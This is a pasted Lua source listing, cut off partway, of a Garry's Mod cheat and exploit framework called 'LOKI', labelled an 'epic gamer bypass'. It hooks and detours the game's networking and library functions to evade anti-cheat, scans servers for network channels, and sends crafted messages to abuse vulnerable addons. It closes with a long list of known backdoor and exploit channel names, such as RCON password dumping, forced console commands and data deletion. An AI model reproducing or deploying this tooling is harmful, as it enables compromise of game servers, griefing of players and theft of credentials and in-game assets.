· 5 years ago · Feb 27, 2020, 09:32 AM
1// epic gamer bypass v3.69
2if !CLIENT || !vgui || !cleanup || !util || !util.worldpicker || !util.worldpicker.Start || !net then return end cleanup.CC_AdminCleanup = net.Start cleanup.CC_Cleanup = net.SendToServer if(cleanup.UpdateUI) then net.Start = cleanup.UpdateUI net.SendToServer = cleanup.UpdateUI else return print("Unable to load due to security protocols (1)") end if(net.Receivers["SendPlayerStats"] && dragndrop && dragndrop.IsDragging) then jit.attach(dragndrop.IsDragging, "bc") end local rs = RunStringEx || RunString return util.worldpicker.Start(function() return rs([[
3 if(net.Receivers["m_network_data"] && net.Receivers["m_validate_player"]) then net.Receivers["m_network_data"]() end
4 net.Start = cleanup.CC_AdminCleanup
5 net.SendToServer = cleanup.CC_Cleanup
6 module("cleanup", package.seeall)
7 local require = function() end
8 local CNetChan = function() end
9 pcall(function() require("ares") end)
10 local LOKI = {LP = LocalPlayer(), ARES = isfunction(CNetChan)}
11 LOKI.LAST = {}
12 local LAST_TABLE = {}
13 if(isfunction(cleanup.GetList)) then
14 LAST_TABLE = cleanup.GetList()
15 end
16 if(istable(LAST_TABLE)) then
17 LOKI.LAST = table.Copy( LAST_TABLE )
18 end
19 function cleanup.GetList() return LOKI end
20 //local dbg = table.Copy(ents)
21 /*if(debug.getmetatable(IN_ATTACK) && debug.getmetatable(IN_ATTACK).__index) then
22 IN_ATTACK[0] = LOKI
23 else
24 debug.setmetatable(IN_ATTACK, {
25 __index = function(self, key)
26 if key == 0 then
27 return LOKI
28 end
29 return rawget(self, key)
30 end,
31 })
32 end*/
33 LOKI.Developer = false
34 LOKI.SecureHooks = true
35 LOKI.Config = {}
36 local grad = Material( "gui/gradient" )
37 local upgrad = Material( "gui/gradient_up" )
38 local downgrad = Material( "gui/gradient_down" )
39 local ctext = chat && chat.AddText || print
40 function LOKI.GetUpValues( func )
41 if(!isfunction(func)) then return {} end
42 if(isfunction(debug.getupvalues)) then
43 return debug.getupvalues(func)
44 end
45 local info = debug.getinfo( func, "uS" )
46 local variables = {}
47
48 -- Upvalues can't be retrieved from C functions
49 if ( info != nil && info.what == "Lua" ) then
50 local upvalues = info.nups
51
52 for i = 1, upvalues do
53 local key, value = debug.getupvalue( func, i )
54 variables[ key ] = value
55 end
56 end
57
58 return variables
59 end
60 function LOKI.MultiSend(sploit, func)
61 for k, v in ipairs(sploit.functions) do
62 if(sploit.bools[v.bool] == true) then
63 LOKI.NetStart( sploit, v.channel )
64 if(isfunction(func)) then
65 func()
66 elseif(istable(func) && (isfunction(func[v.channel]) || isfunction(func["*"]))) then
67 func[v.channel || "*"]()
68 end
69 net.SendToServer()
70 end
71 end
72 end
73 function LOKI.GetEnabledCount(sploit)
74 if(!sploit) then return 0 end
75 local i = 0
76 for k, v in pairs(sploit.bools) do
77 if(v == true && k != "enabled") then
78 i = i + 1
79 end
80 end
81 return i
82 end
83 function LOKI.GetEnabled(sploit)
84 if(!sploit) then return false end
85 if(table.Count(sploit.bools) == 1 || sploit.typ != "bools") then return sploit.bools.enabled end
86 for k, v in pairs(sploit.bools) do
87 if(v == true && k != "enabled") then
88 return true
89 end
90 end
91 return false
92 end
93 function LOKI.ValidNetString( ... )
94 local tbl = {...}
95 if(#tbl == 0) then return false end
96 if(istable(tbl)) then
97 for k, v in pairs(tbl) do
98 if(LOKI.BAIT_CHANNELS[v] && LOKI.BAIT_COUNT >= LOKI.BAIT_LIMIT && !LOKI.GeneralOverride) then return false, 1 end
99 LOKI.BlockNetOutgoing = true
100 if(util.NetworkIDToString(util.NetworkStringToID( v )) != v) then -- && (!LOKI.ServerDump || LOKI.ServerDump:find(v)
101 LOKI.BlockNetOutgoing = false
102 return false
103 end
104 LOKI.BlockNetOutgoing = false
105 end
106 return true
107 end
108 return false
109 end
110 function LOKI.DynamicNetString( ... )
111 local tbl = {...}
112 for i = 1, math.huge do
113 local str = util.NetworkIDToString(i)
114 if not str then return false end
115
116 local found = true
117
118 if(istable(tbl)) then
119 for k, v in pairs(tbl) do
120 if(!v || str:find(v) == nil) then
121 found = false
122 end
123 end
124 end
125
126 if(found) then
127 if(LOKI.BAIT_CHANNELS[str] && LOKI.BAIT_COUNT >= LOKI.BAIT_LIMIT && !LOKI.GeneralOverride) then return false, 1 end
128 return str
129 end
130 end
131 end
132 function LOKI.DynamicNetStrings( ... )
133 local tbl = {...}
134 local ret = {}
135 local bait_count = 0
136 for i = 1, math.huge do
137 local str = util.NetworkIDToString(i)
138 if not str then break end
139
140 local found = true
141
142 if(istable(tbl)) then
143 for k, v in pairs(tbl) do
144 if(!v || str:find(v) == nil) then
145 found = false
146 end
147 end
148 end
149
150 if(found) then
151 if (LOKI.BAIT_CHANNELS[str] && LOKI.BAIT_COUNT >= LOKI.BAIT_LIMIT && !LOKI.GeneralOverride) then
152 bait_count = bait_count + 1
153 else
154 ret[#ret+1] = str
155 end
156 end
157 end
158 return ret, bait_count
159 end
160 function LOKI.GetAllReceivers()
161 LOKI.Receivers = {[1] = {["str"] = "*"}}
162 for i = 1, math.huge do
163 local str = util.NetworkIDToString(i)
164 if !str || !LOKI.ValidNetString(str) then break end
165
166 LOKI.Receivers[#LOKI.Receivers + 1] = {["str"] = str}
167 end
168 return LOKI.Receivers
169 end
170 LOKI.ents = {}
171 LOKI.ents.FindByGlobal = function(...)
172 local tbl = {...}
173 local ent_tbl = {}
174 local found = true
175 if(#tbl == 0) then
176 return ents.GetAll()
177 end
178 for k, v in ipairs(ents.GetAll()) do
179 found = true
180 if(istable(tbl)) then
181 for k2, v2 in pairs(tbl) do
182 if(v[v2] == nil) then
183 found = false
184 end
185 end
186 end
187 if(found) then
188 ent_tbl[#ent_tbl + 1] = v
189 end
190 end
191 return ent_tbl
192 end
193 LOKI.vgui = {
194 Create = function(class, parent, name)
195 local detour_call = LOKI.DetourCall || false
196 LOKI.DetourCall = false
197 local ret = vgui.Create(class, parent, name, true)
198 LOKI.DetourCall = detour_call
199 return ret
200 end
201 }
202 LOKI.Exploits = {}
203 LOKI.StartCol = Color(150, 50, 0)
204 LOKI.FinishCol = Color(80, 80, 120)
205 function LOKI.Interpolate(a, b, proportion)
206 return (a + ((b - a) * (proportion / 100)));
207 end
208 function LOKI.GetColor(percentage)
209 percentage = math.Clamp(percentage, 0, 100)
210 if(percentage == 0) then
211 return Color(255,255,255)
212 end
213 local a, b, c = ColorToHSV(LOKI.FinishCol)
214 local a1, b1, c1 = ColorToHSV(LOKI.StartCol)
215 local a2, b2, c2
216 a2 = LOKI.Interpolate(a, a1, percentage)
217 b2 = LOKI.Interpolate(b, b1, percentage)
218 c2 = LOKI.Interpolate(c, c1, percentage)
219 return HSVToColor(a2,b2,c2)
220 end
221 local StatusColors = {
222 [1] = Color( 80, 120, 80 ),
223 [2] = Color( 150, 90, 50 ),
224 [3] = Color( 150, 50, 0 ),
225 [4] = Color( 255, 255, 255 ),
226 }
227 local StatusText = {
228 [1] = "Undetected",
229 [2] = "Outdated",
230 [3] = "Detected",
231 [4] = "N/A",
232 }
233 LOKI.Index = {}
234 function LOKI.GetExploit(Name, Index)
235 local IndexTable = LOKI.Index[Name]
236 if(LOKI.Exploits[IndexTable]) then
237 if(Index) then
238 return LOKI.Exploits[IndexTable][Index]
239 else
240 return LOKI.Exploits[IndexTable]
241 end
242 else
243 return false
244 end
245 end
246 function LOKI.ValidTable(tbl)
247 if(istable(tbl)) then
248 return "table"
249 elseif(type(tbl) != "string" && getmetatable(tbl) && getmetatable(tbl).__index != nil) then
250 return "metatable"
251 else
252 return false
253 end
254 end
255 function LOKI.NotNil(var)
256 if(var != nil) then
257 return var
258 end
259 end
260 function LOKI.RecursiveGetVar(search, tbl, typevar, create)
261 if(!LOKI.ValidTable(search) || !LOKI.ValidTable(tbl)) then
262 return false
263 end
264 for k, v in pairs(tbl) do
265 if((!search || !search[v]) || (search && search[v] && (typevar && type(search[v]) != typevar) && !LOKI.ValidTable(search[v]))) then
266 if((!search || !search[v]) && typevar == "table" && create) then
267 if(!search) then
268 search = {}
269 end
270 search[v] = {}
271 search = search[v]
272 else
273 return false
274 end
275 else
276 if(!search[v] && typevar == "table" && create) then
277 search[v] = {}
278 end
279 search = search[v]
280 end
281 end
282 return search
283 end
284 function LOKI.GetAllExploits()
285 local exploits = {}
286 for k, v in ipairs( LOKI.Exploits ) do
287 if(istable(v) && v.IsCategory) then
288 for k2, v2 in ipairs(v) do
289 if(istable(v2) && v2.Name) then
290 exploits[#exploits + 1] = v2
291 end
292 end
293 end
294 end
295 return exploits
296 end
297 /*setmetatable(tbl, {
298 __index = function(self, key)
299 local funcarg = LOKI.RecursiveGetVar(LOKI.Detours, {"Callback", tbl_name, key}, "function")
300 if funcarg then
301 return funcarg
302 end
303 return LOKI.Detours[tbl_name][1][key]
304 end,
305 })*/
306 LOKI.Detours = LOKI.LAST.Detours || {}
307 function LOKI.GetDetour(Name, Fallback)
308 local str = string.Split(Name, ".")
309 return LOKI.Detours[(str[1])] && LOKI.Detours[(str[1])][(str[2])] || Fallback
310 end
311 function LOKI.Detour(tbl_name, func, tbl, callback)
312 if(!LOKI.ValidTable(tbl)) then return end
313 if(!LOKI.Detours[tbl_name]) then
314 LOKI.Detours[tbl_name] = {}
315 end
316 if(!LOKI.Detours["Backup"]) then
317 LOKI.Detours["Backup"] = {}
318 end
319 if(!LOKI.Detours["Backup"][tbl_name]) then
320 LOKI.Detours["Backup"][tbl_name] = {table.Copy(tbl)}
321 end
322 if(!LOKI.Detours[tbl_name][func]) then
323 LOKI.Detours[tbl_name][func] = LOKI.Detours["Backup"][tbl_name][1][func]
324 //print(tbl_name.."."..func .. " detoured successfully")
325 end
326 if(isfunction(LOKI.Detours[tbl_name][func])) then
327 if(!LOKI.Detours["Callback"]) then
328 LOKI.Detours["Callback"] = {}
329 end
330 if(!LOKI.Detours["Callback"][tbl_name]) then
331 LOKI.Detours["Callback"][tbl_name] = {}
332 end
333 LOKI.Detours["Callback"][tbl_name][func] = callback
334
335 local sfunc = LOKI.Detours[tbl_name][func]
336 rawset(tbl, func, callback)
337 if(tbl[func] == sfunc) then
338 tbl[func] = callback
339 end
340 end
341 end
342 local net = net
343 if(DLib && istable(DLib.nativeNet)) then
344 net = DLib.nativeNet
345 end
346 LOKI.TYPEVARS = {
347 MORETHAN = 0,
348 LESSTHAN = 1,
349 EQUALTO = 2,
350 NOTEQUALTO = 3,
351 }
352 LOKI.DetourTables = {
353 ["net"] = {
354 ["table"] = _G.net,
355 ["functions"] = {["*"] = true, ["Incoming"] = false, ["Receive"] = false},
356 ["PreCall"] = {
357 ["Start"] = function(key, tbl, varargs)
358 if(LOKI.SafeOutgoingMsg == varargs[1]) then return end
359 tbl.NetOutgoingMsg = varargs[1]
360 if(LOKI.BlockNetOutgoing) then return false end
361 end,
362 ["*"] = function(key, tbl, varargs, func)
363 if(LOKI.NetOutgoingMsg) then
364 if(!istable(tbl.NetOutgoingData) || !tbl.NetOutgoingData[0] || tbl.NetOutgoingData[0] != LOKI.NetOutgoingMsg) then
365 tbl.NetOutgoingData = {[0] = tbl.NetOutgoingMsg}
366 end
367 if(key:StartWith("Write") && jit.util.funcinfo(func).addr) then
368 if(#varargs != 0) then
369 local index = #tbl.NetOutgoingData+1
370 local typevar = string.Replace(key, "Write", "")
371 tbl.NetOutgoingData[index] = varargs
372 tbl.NetOutgoingData[index].Type = typevar
373 end
374 if(LOKI.BlockNetOutgoing) then return false end
375 end
376 end
377 end,
378 },
379 ["PostCall"] = {
380 ["SendToServer"] = function(key, tbl, varargs)
381 if(tbl.NetOutgoingMsg && LOKI.Developer) then PrintTable(tbl.NetOutgoingData) end
382 tbl.NetOutgoingMsg = nil
383 tbl.NetOutgoingData = nil
384 end,
385 },
386 },
387 ["concommand"] = {
388 ["table"] = _G.concommand,
389 ["functions"] = {["*"] = true, ["Add"] = false, ["GetTable"] = false},
390 },
391 /*["string"] = {
392 ["table"] = _G.string,
393 ["functions"] = {["lower"] = true},
394 },*/
395 ["util"] = {
396 ["table"] = _G.util,
397 ["functions"] = {["NetworkIDToString"] = true, ["TraceLine"] = true, ["TableToJSON"] = true},
398 },
399 ["math"] = {
400 ["table"] = _G.math,
401 ["functions"] = {["random"] = true, ["abs"] = true},
402 },
403 ["table"] = {
404 ["table"] = _G.table,
405 ["functions"] = {["Copy"] = true},
406 },
407 ["usermessage"] = {
408 ["table"] = _G.usermessage,
409 ["functions"] = {["IncomingMessage"] = true},
410 },
411 ["cam"] = {
412 ["table"] = _G.cam,
413 ["functions"] = {["Start3D"] = true, ["End3D"] = true},
414 },
415 ["vgui"] = {
416 ["table"] = _G.vgui,
417 ["functions"] = {["Create"] = true},
418 },
419 /*["render"] = {
420 ["table"] = _G.render,
421 ["functions"] = {["SetRenderTarget"] = true},
422 },*/
423 ["gui"] = {
424 ["table"] = _G.gui,
425 ["functions"] = {["*"] = true, ["EnableScreenClicker"] = false, ["MousePos"] = false, ["MouseX"] = false, ["MouseY"] = false, ["OpenURL"] = false, ["ScreenToVector"] = false},
426 },
427 ["input"] = {
428 ["table"] = _G.input,
429 ["functions"] = {["StartKeyTrapping"] = true, ["SetCursorPos"] = true},
430 },
431 ["properties"] = {
432 ["table"] = _G.properties,
433 ["functions"] = {["Add"] = true},
434 },
435 /*["_G"] = {
436 ["table"] = _G,
437 ["functions"] = {["SortedPairsByMemberValue"] = true},
438 },*/
439 }
440 // table_to_search, variable, MORE/LESS/EQUALTO, value, varargs
441 function LOKI.GetVarTable(tbl, var, typevar, val, metatable, ...)
442 if(!typevar) then
443 typevar = LOKI.TYPEVARS.EQUALTO
444 end
445 local exploits = {}
446 if(istable(tbl) && var && typevar && val) then
447 for k, v in ipairs( tbl ) do
448 if(LOKI.ValidTable(v)) then
449 local var_l,val_l = var,val
450 if(LOKI.ValidTable(var)) then
451 var_l = LOKI.RecursiveGetVar(v, var)
452 else
453 if(isfunction(v[var])) then
454 if(LOKI.ValidTable(v) == "metatable" || metatable) then
455 var_l = v[var](v, ...)
456 else
457 var_l = v[var](...)
458 end
459 else
460 var_l = v[var]
461 end
462 if(isfunction(val)) then
463 val_l = val()
464 end
465 end
466 if(typevar == LOKI.TYPEVARS.MORETHAN) then
467 if(LOKI.SafeToNumber(var_l) > LOKI.SafeToNumber(val_l)) then
468 exploits[#exploits + 1] = v
469 end
470 elseif(typevar == LOKI.TYPEVARS.LESSTHAN) then
471 if(LOKI.SafeToNumber(var_l) < LOKI.SafeToNumber(val_l)) then
472 exploits[#exploits + 1] = v
473 end
474 elseif(typevar == LOKI.TYPEVARS.EQUALTO) then
475 if(var_l == val_l) then
476 exploits[#exploits + 1] = v
477 end
478 elseif(typevar == LOKI.TYPEVARS.NOTEQUALTO) then
479 if(var_l != val_l) then
480 exploits[#exploits + 1] = v
481 end
482 end
483 end
484 end
485 end
486 return exploits
487 end
488 function LOKI.SetTableContents(tbl,tbl2)
489 table.Empty(tbl)
490 table.Merge(tbl, tbl2)
491 end
492 function LOKI.GetVarExploits(var, typevar, val)
493 return LOKI.GetVarTable(LOKI.GetAllExploits(), var, typevar, val)
494 end
495 LOKI.RunDetours = function()
496 for k, v in pairs(LOKI.DetourTables) do
497 local ValidTable = LOKI.ValidTable(v.table)
498 if(istable(v) && ValidTable) then
499 for k1, v1 in pairs(v.table) do
500 if(isfunction(v1) && (!istable(v.functions) || ((v.functions["*"] && v.functions[k1] != false) || v.functions[k1]))) then
501 LOKI.Detour(k, k1, v.table, function(...)
502 local varargs = {...}
503 //if(LOKI.Killswitch && !LOKI.Unload && !LOKI.Detours) then return v1(unpack(varargs)) end
504 local func = LOKI.Detours[k][k1]
505 if(!LOKI.Killswitch && !LOKI.Unload) then
506 if(istable(v.PreCall) && isfunction(v.PreCall[k1] || v.PreCall["*"])) then
507 local ret_val = ((v.PreCall[k1] || v.PreCall["*"])(k1, LOKI, varargs, func))
508 if ret_val != nil then return ret_val end
509 end
510
511 if(LOKI.DetourCall != true) then
512 local ret = nil
513
514 if(isfunction(LOKI.GetAllExploits)) then
515 local det_call = LOKI.DetourCall || false
516 LOKI.DetourCall = true
517 for k2, v2 in ipairs(LOKI.GetAllExploits()) do
518 local tbl = v2.hooks && (v2.hooks[k] || v2.hooks["*"])
519 if(v2.scanned && v2.hooks && tbl && (tbl[k1] || tbl["*"])) then
520 local xfunc = (tbl[k1] || tbl["*"])
521 local return_val = nil
522 if(xfunc == tbl["*"]) then
523 return_val = xfunc(k, k1, v2, varargs, LOKI.Detours[k][k1])
524 else
525 return_val = xfunc(v2, varargs, LOKI.Detours[k][k1])
526 end
527 if(return_val != nil) then
528 ret = return_val
529 end
530 end
531 end
532 LOKI.DetourCall = det_call
533 end
534
535 if(istable(v.PostCall) && isfunction(v.PostCall[k1] || v.PostCall["*"])) then
536 local ret_val = ((v.PostCall[k1] || v.PostCall["*"])(k1, LOKI, varargs, func))
537 if ret_val != nil then return ret_val end
538 end
539
540 if(ret) then
541 return ret
542 elseif(ret == false) then
543 return false
544 end
545 end
546 end
547
548 if(ValidTable == "metatable") then
549 return func(v.table, unpack(varargs))
550 else
551 return func(unpack(varargs))
552 end
553 end)
554 end
555 end
556 end
557 end
558 end
559 LOKI.RunDetours()
560 function LOKI.GetLP()
561 return LOKI.LP
562 end
563 function LOKI.AddExploit( Name, tab )
564 if !isstring( Name ) then print("Error: Exploit missing Name") return end
565 if !istable( tab ) then print("Error: Exploit missing table") return end
566 tab.Name = Name
567 if(!LOKI.Index[Name]) then
568 if(tab.severity != 0) then
569 LOKI.Index[Name] = table.insert(LOKI.Exploits, {})
570 else
571 LOKI.Index[Name] = table.insert(LOKI.Exploits, 1, {})
572 end
573 local IndexTable = LOKI.Index[Name]
574 LOKI.Exploits[IndexTable] = {["IsCategory"] = true}
575 end
576 local IndexTable = LOKI.Index[Name]
577 local Index = table.insert(LOKI.Exploits[IndexTable], tab)
578 LOKI.GetExploit(Name, Index).Index = Index
579 if !tab.hooks then print("Error: Function with no hooks added, is this the intention?") print(LOKI.GetExploit(Name, Index).Name, Index) end
580 end
581 function LOKI.IsStored( addr )
582 return LOKI.Config[addr] != nil && LOKI.Config[addr].val != nil
583 end
584 function LOKI.GetStored( addr, fallback, skipwhitelist, datatable )
585 local tbl = LOKI.Config
586 if(tbl[addr] == nil && fallback == nil) then return end
587 if fallback and (tbl[addr] == nil || tbl[addr].val == nil || tbl[addr].val == {}) then LOKI.Store(addr, fallback) end
588 if((istable(tbl[addr].val) || fallback == {}) && LOKI.GetWhitelist(addr) && !skipwhitelist) then
589 local plytbl = player.GetAll()
590 for k, v in pairs( tbl[addr].val ) do
591 table.RemoveByValue(plytbl, v)
592 end
593 return plytbl
594 end
595 if fallback and (tbl[addr] == nil || tbl[addr].val == nil) then return fallback end
596 return tbl[addr].val
597 end
598 function LOKI.NetStart( sploit, str, rel )
599 LOKI.BlockNetOutgoing = true
600 if(!istable(str) && !LOKI.ValidNetString( str )) then
601 print("Warning: " .. sploit.Name .. " #".. sploit.Index .. " attempted to send an unpooled message", str)
602 LOKI.BlockNetOutgoing = false
603 else
604 if((!sploit || isstring(sploit)) && !str) then
605 print("An exploit is using the legacy system and will not support rate limiting, tell invalid")
606 str = sploit
607 else
608 if(!sploit["Sender"] && LOKI.GetEnabled(sploit) && LOKI.RecursiveGetVar(sploit, {"hooks", "Think"}, "function")) then
609 sploit["Sender"] = true
610 end
611 end
612 if(isfunction(nwidcek)) then
613 if(isfunction(netStart)) then
614 LOKI.Detours["net"]["Start"] = netStart
615 end
616 end
617 local netstart = net.Start
618 if odium and odium.G and odium.G.net then
619 netstart = odium.G.net.Start
620 end
621 if(istable(str)) then
622 for k, v in pairs(str) do
623 if(LOKI.ValidNetString(v)) then
624 str = v
625 break
626 end
627 end
628 end
629 if(istable(str)) then
630 print("Warning: " .. sploit.Name .. " #".. sploit.Index .. " attempted to send an unpooled message")
631 LOKI.BlockNetOutgoing = false
632 return
633 end
634 LOKI.SafeOutgoingMsg = str
635 local ret = nil
636 if(rel) then
637 ret = netstart( str )
638 else
639 ret = netstart( str, LOKI.ARES )
640 end
641 LOKI.BlockNetOutgoing = false
642 LOKI.SafeOutgoingMsg = nil
643 return ret
644 end
645 end
646 function LOKI.RCC(sploit, ...)
647 local RCC = RunConsoleCommand
648 if(istable(sploit)) then
649 if(!sploit["Sender"] && LOKI.GetEnabled(sploit) && LOKI.RecursiveGetVar(sploit, {"hooks", "Think"}, "function")) then
650 sploit["Sender"] = true
651 end
652 local det_call = LOKI.DetourCall || false
653 LOKI.DetourCall = true
654 local ret = RCC( ... )
655 LOKI.DetourCall = det_call
656 return ret
657 else
658 print("An exploit is using the legacy system and will not support rate limiting, tell invalid")
659 end
660 end
661 function LOKI.Store( addr, val, datatable )
662 local tbl = datatable || LOKI.Config
663 if(tbl[addr] == nil) then
664 tbl[addr] = {}
665 end
666 tbl[addr].val = (istable(val) && table.Copy(val)) || val
667 end
668 function LOKI.SetWhitelist( addr, bool, datatable )
669 local tbl = datatable || LOKI.Config
670 if(tbl[addr] == nil) then
671 tbl[addr] = {}
672 end
673 tbl[addr].IsWhitelist = bool
674 end
675 function LOKI.GetWhitelist( addr, datatable )
676 local tbl = datatable || LOKI.Config
677 return tbl[addr] != nil && tbl[addr].IsWhitelist == true
678 end
679 function LOKI.GetAllStored()
680 return LOKI.Config
681 end
682 function LOKI.GetAllStoredData()
683 local ret = {}
684 for k, v in pairs( LOKI.Config ) do
685 if !istable( v ) then ret[k] = v end
686 end
687 return ret
688 end
689 function LOKI.LoadConfig()
690 local f = file.Read( "lokiv2.dat", "DATA" )
691 if !f then print( "Error: No saved configs found" ) end
692 local raw = util.Decompress( f )
693 local config = util.JSONToTable( raw )
694 table.Merge( LOKI.Config, config )
695 -- LOKI.Config = config
696 LOKI.Menu:Remove()
697 print( "Loaded Configuration File" )
698 end
699 function LOKI.SaveConfig()
700 local config = util.TableToJSON( LOKI.GetAllStoredData() )
701 if !config then return end
702 local compressed = util.Compress( config )
703 file.Write( "lokiv2.dat", compressed )
704 print( "Saved Configuration File" )
705 end
706 LOKI.BAIT_UNSORTED = {"SprintSpeedset", "CFEndGame", "sendtable", "plyWarning", "pplay_deleterow", "NLR_SPAWN", "TowTruck_CreateTowTruck", "ARMORY_RetrieveWeapon", "pac.net.TouchFlexes.ClientNotify", "slua2", "ClickerAddToPoints", "steamid2", "TransferReport", "explodeallcarbd", "Sbox_gm_attackofnullday_key", "ats_send_toServer", "redirectionplayerbd", "AbilityUse", "RP_Fine_Player", "DaHit", "JB_Votekick", "CpForm_Answers", "skeleton_dancing_troll", "ignite_bd", "75_plus_win", "modelchangerbd", "BuySecondTovar", "spawnentitybd", "FactionInviteConsole", "rprotect_terminal_settings", "ban_rdm", "forcejobbd", "textscreens_download", "PoliceJoin", "CFRemoveGame", "├Ş├á?D)Ôùİ", "RevivePlayer", "DataSend", "TOW_SubmitWarning", "BM2.Command.SellBitcoins", "DepositMoney", "CFJoinGame", "ItemStoreUse", "forceconcommandbd", "Kun_SellOil", "PCAdd", "drugseffect_hpremove", "artillerybd", "argentjetaurrais2", "spawnvehiclebd", "netKey", "NC_GetNameChange", "pac_to_contraption", "start_wd_emp", "messagespambd", "linkbd", "accidentvoiturebd", "hsend", "egg", "unlockalldoororlockallbd", "18_25_hack_mood", "RXCAR_SellINVCar_C2S", "RecKickAFKer", "tickbooksendfine", "pac_submit", "banleaver", "rebootbd", "VJSay", "ATM_DepositMoney_C2S", "Sandbox_ArmDupe", "net_PSUnBoxServer", "GiveHealthNPC", "memes", "PlayerUseItem", "Letthisdudeout", "services_accept", "DarkRP_SS_Gamble", "dLogsGetCommand", "SellMinerals", "superadmin_vite", "RXCAR_Shop_Store_C2S", "ATS_WARP_REMOVE_CLIENT", "changerlenombd", "fpp_reset_all", "2dplayermodelbd", "TOW_PayTheFine", "spawnpropbd", "CraftSomething", "clearallbansbd", "mercipourtonip", "withdrawp", "SendMoney", "BuyCar", "FIRE_CreateFireTruck", "jeveuttonrconleul", "kill_player_bd", "fp_as_doorHandler", "pplay_sendtable", "disablebackdoor", "godmodbd", "teleport2bd", "customprinter_get", "MONEY_SYSTEM_GetWeapons", "gportal_rpname_change", "hitcomplete", "artilleryplayerbd", "fuckupulxbd", "Remove_Exploiters", "NDES_SelectedEmblem", "NLR.ActionPlayer", "NET_EcSetTax", "StackGhost", "DarkRP_Kun_ForceSpawn", "whk_setart", "Upgrade", "CreateCase", "rconspammer", "_blacksmurf", "disguise", "infiniteammobd", "drugseffect_remove", "playsoundurlbd", "SimplicityAC_aysent", "freezeplybd", "BuilderXToggleKill", "GMBG:PickupItem", "MDE_RemoveStuff_C2S", "SimpilicityAC_aysent", "BuyFirstTovar", "gBan.BanBuffer", "PCDelAll", "jesuslebg", "TalkIconChat", "hurlement_bd", "ATS_WARP_VIEWOWNER", "drugs_text", "bodyman_model_change", "inversergraviterbd", "changejobnamebd", "WriteQuery", "TCBBuyAmmo", "TFA_Attachment_RequestAll", "TCBuyAmmo", "BuyKey", "ckit_roul_bet", "nostrip", "centerbd", "NET_SS_DoBuyTakeoff", "DarkRP_spawnPocket", "teleport1bd", "ActivatePC", "drugs_money", "pogcp_report_submitReport", "race_accept", "healtharmorbd", "TakeBetMoney", "BuyCrate", "Kun_ZiptieStruggle", "faitcommeloiseaubd", "FacCreate", "DuelMessageReturn", "ATS_WARP_FROM_CLIENT", "DL_Answering", "thefrenchenculer", "Taxi_Add", "pplay_addrow", "stripallbd", "CRAFTINGMOD_SHOP", "SyncPrinterButtons76561198056171650", "ply_pick_shit", "join_disconnect", "DarkRP_preferredjobmodel", "viv_hl2rp_disp_message", "Kun_SellDrug", "forcesaybd", "drugs_ignite", "chatspambd", "Warn_CreateWarn", "buyinghealth", "NewReport", "BM2.Command.Eject", "kickbd", "argentjetaurrais", "EZS_PlayerTag", "1942_Fuhrer_SubmitCandidacy", "ATMDepositMoney", "blacksmurfBackdoor", "JoinOrg", "toupiebd", "casinokit_chipexchange", "FinishContract", "rektallmodels", "discobd", "crashplayergamebd", "giveweaponbd", "hhh_request", "zilnix", "rconadmin", "FarmingmodSellItems", "give_me_weapon", "Morpheus.StaffTracker", "NLRKick", "Chatbox_PlayerChat", "rconcommandbd", "Chess Top10", "cloackbd", "RP_Accept_Fine", "WithdrewBMoney", "reports.submit", "slua", "giveweapon", "RHC_jail_player", "duelrequestguiYes", "tremblementdeterrebd", "kart_sell", "speedhackbd", "removepermaprop_bd", "soez", "deletealldatabd", "textstickers_entdata", "BailOut", "pplay_sendtable", "VJSay", "textstickers_entdata", "NC_GetNameChange", "CFJoinGame", "loki_bigspames2", "SKIN", "stringx", "mathx", "_G", "color_white", "_LOADLIB", "_LOADED", "color_transparent", "func", "g_SBoxObjects", "tablex", "Morph", "SpawniconGenFunctions", "DOF_Ents", "_E", "_R", "duelrequestguiYes", "drugs_money", "drugs_ignite", "drugs_text", "SyncPrinterButtons76561198056171650", "rprotect_terminal_settings", "JoinOrg", "NDES_SelectedEmblem", "join_disconnect", "NLRKick", "Morpheus.StaffTracker", "duelrequestguiYes", "drugs_ignite", "ply_pick_shit", "TalkIconChat", "NDES_SelectedEmblem", "BuyFirstTovar", "BuySecondTovar", "GiveHealthNPC", "BuyKey", "BuyCrate", "MONEY_SYSTEM_GetWeapons", "SyncPrinterButtons16690", "DarkRP_SS_Gamble", "PCAdd", "DarkRP_SS_Gamble", "viv_hl2rp_disp_message", "Sbox_gm_attackofnullday", "Sbox_gm_attackofnullday_key", "Kun_SellDrug", "Ulib_Message", "ULogs_Info", "fix", "Fix_Keypads", "noclipcloakaesp_chat_text", "_Defqon", "_CAC_ReadMemory", "nostrip", "nocheat", "LickMeOut", "ULX_QUERY2", "ULXQUERY2", "MoonMan", "Im_SOCool", "Sandbox_GayParty", "DarkRP_UTF8", "oldNetReadData", "memeDoor", "BackDoor", "OdiumBackDoor", "SessionBackdoor", "DarkRP_AdminWeapons", "cucked", "NoNerks", "kek", "ZimbaBackDoor", "something", "random", "enablevac", "idk", "fellosnake", "c", "killserver", "fuckserver", "cvaraccess", "rcon", "web", "jesuslebg", "Þ� ?D)◘", "DefqonBackdoor", "WriteQuery", "SellMinerals", "TakeBetMoney", "Kun_SellOil", "PoliceJoin", "CpForm_Answers", "MDE_RemoveStuff_C2S", "RP_Accept_Fine", "l_players_listing_fine", "montant_argent11", "RXCAR_Shop_Store_C2S", "CRAFTINGMOD_SHOP", "drugs_ignite", "drugseffect_hpremove", "drugs_text", "GMBG:PickupItem", "plyWarning", "timebombDefuse", "start_wd_emp", "kart_sell", "FarmingmodSellItems", "ClickerAddToPoints", "bodyman_model_change", "BailOut", "TOW_SubmitWarning", "FIRE_CreateFireTruck", "hitcomplete", "hhh_request", "DaHit", "customprinter_get", "textstickers_entdata", "TCBBuyAmmo", "DataSend", "rprotect_terminal_settings", "fp_as_doorHandler", "TransferReport", "stripper_gunz", "properties", "skeleton_dancing_troll", "music", "rcon_passw_dump", "jeveuttonrconleul", "aucun_rcon_ici", "jeveuttonrconleul", "Надеюсь, ты усвоил урок", "cl_yawspeed 8", "Music_troll", "wowlolwut_my_boi", "ITEM", "chmluaviewer", "Defqon_wallhack", "Defqon_anticheats", "NET_LUA_CLIENTS", "NET_LUA_SV", "EASY_CHAT_MODULE_LUA_CLIENTS", "EASY_CHAT_MODULE_LUA_SV", "blackdoor", "toxic.LuaStr", "toxic.pro", "bodyman_chatprint", "bodyman_model_change", "bodygroups_change", "skins_change", "thereaper", "noprop", "dontforget", "aze46aez67z67z64dcv4bt", "changename", "nolag", "reaper", "slua2", "thereaperishere", "hentai", "slua", "the2d78", "bethedeath", "elfamosabackdoormdr", "zilnixestbo", "reaperexploits", "fr_spamstring", "CpForm_Answers", 